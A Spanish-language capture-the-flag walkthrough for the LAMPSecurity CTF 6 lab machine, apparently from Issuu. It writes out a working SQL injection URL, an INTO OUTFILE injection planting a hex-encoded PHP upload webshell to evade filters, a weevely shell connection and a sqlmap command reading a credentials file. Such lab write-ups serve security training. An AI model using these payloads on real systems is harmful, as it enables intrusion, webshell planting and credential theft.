Solucionario: LAMPSecurity: CTF 6 Challenge por [Q]3rV[0]

Page 1

LAMPSecurity:CTF 6 Challenge

[Q]3rV[0]


Una vez descargada la imagen virtual me dispongo a correrla con virtualbox.


Realizo un sondeo de ping, para descrubrir el/los host activos en la red 192.168.1.0/24

Una vez descubierta la direccion ip de la maquina virtual 192.168.1.33, procedo a realizar un analisis de puertos, servicios y del sistema operativo.


Mi analisis de intrucion, se centro en la aplicacion web, ademas de indagar por varios lados, aproveche una vulnerabilidad de sql injection para inyectar codigo php en el servidor y obtener acceso. Se encuentra el siguiente parametro vulnerable a sqli http://192.168.1.33/index.php?id=1 Busco informacion del usuario que corre la db, asi como la version y nombre de la misma http://192.168.1.33/index.php?id=1+union+select+1,2,concat(database(), 0x3a, user(), 0x3a, version()),4,5,6,7--


Busco informacion sobre los privilegios que posee el usuario cms_user@localhost usando la herramienta sqlmap, y me encuentro con la sorpresa de que el usuario corre como administrador, ademas de poseer potenciales permisos como FILE. Habiendo obtenido este tipo de informacion, se me ocurre utilizar la funcion 'INTO OUTFILE' para inyectar un upload en la aplicaccion web, pero primero realizo una exhaustiva busqueda de directorios en la zona publica, para probar con varios de ellos hasta encontrar permisos de escritura para el usuario cms_user. finalmente logro escribir dentro de http://192.168.1.33/phpMyAdmin-3.0.0all-languages/config/


Logrando inyectar la siguiente sentencia: 192.168.1.33/index.php?id=1+union+select+1,2,3,4,5,6,7+into+outfile+'/var/www/html/phpMyAdmin-3.0.0-alllanguages/config/upload.php'+lines+terminated+by+0x273c3f706870206563686f20273c623e3c62723e3c62723e272 e7068705f756e616d6528292e273c62723e3c2f623e273b206563686f20273c666f726d20616374696f6e3d2222206d657 4686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d22757 06c6f61646572222069643d2275706c6f61646572223e273b206563686f20273c696e70757420747970653d2266696c652 2206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d22 7375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b2069662820245f 504f53545b275f75706c275d203d3d202255706c6f6164222029207b202069662840636f707928245f46494c45535b2766 696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b20656 3686f20273c623e63726564697473203a207777772e646576696c73636166652e696e3c2f623e3c62723e3c62723e273b2 07d2020656c7365207b206563686f20273c623e55706c6f616420537563657373202121213c2f623e3c62723e3c62723e2 73b207d207d203f3e27-El codigo del upload, fue encodeado en ascii hex para evadir filtros.


El resultado es el siguiente, logrando crear el fichero 'upload.php' en el directorio /var/www/html/phpMyAdmin-3.0.0-all-languages/config/


Genero una shell con weevely y la subo al servidor por medio del upload que acabo de inyectar.


Conectamos con ./weevely.py http://192.168.1.33/phpMyAdmin-3.0.0-alllanguages/config/q3rv0.php q3rv0 Ahora ya tengo acceso en el servidor como el usuario apache, solo queda elevar privilegios.


La verdad es que me parecio un servidor bastante abierto en cuanto a posibilidades de imaginar diversas tecnicas de intrusion, tambien aprovechando la vulnerabilidad sqli, se podria leer el fichero index.php en /var/www/html/ para obtener el passwd de la db.

Si miramos bien en el fichero, vemos que el password en texto plano lo provee el archivo /conf/config.ini el cual es llamado a travez de la variable $configs, entonces buscamos dicho archivo. ./sqlmap.py -u 192.168.1.33/index.php?id=1 --fileread=/var/www/html/conf/config.ini


Y ahora nos podemos secuestrar el phpmyadmin para subir alguna shell.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.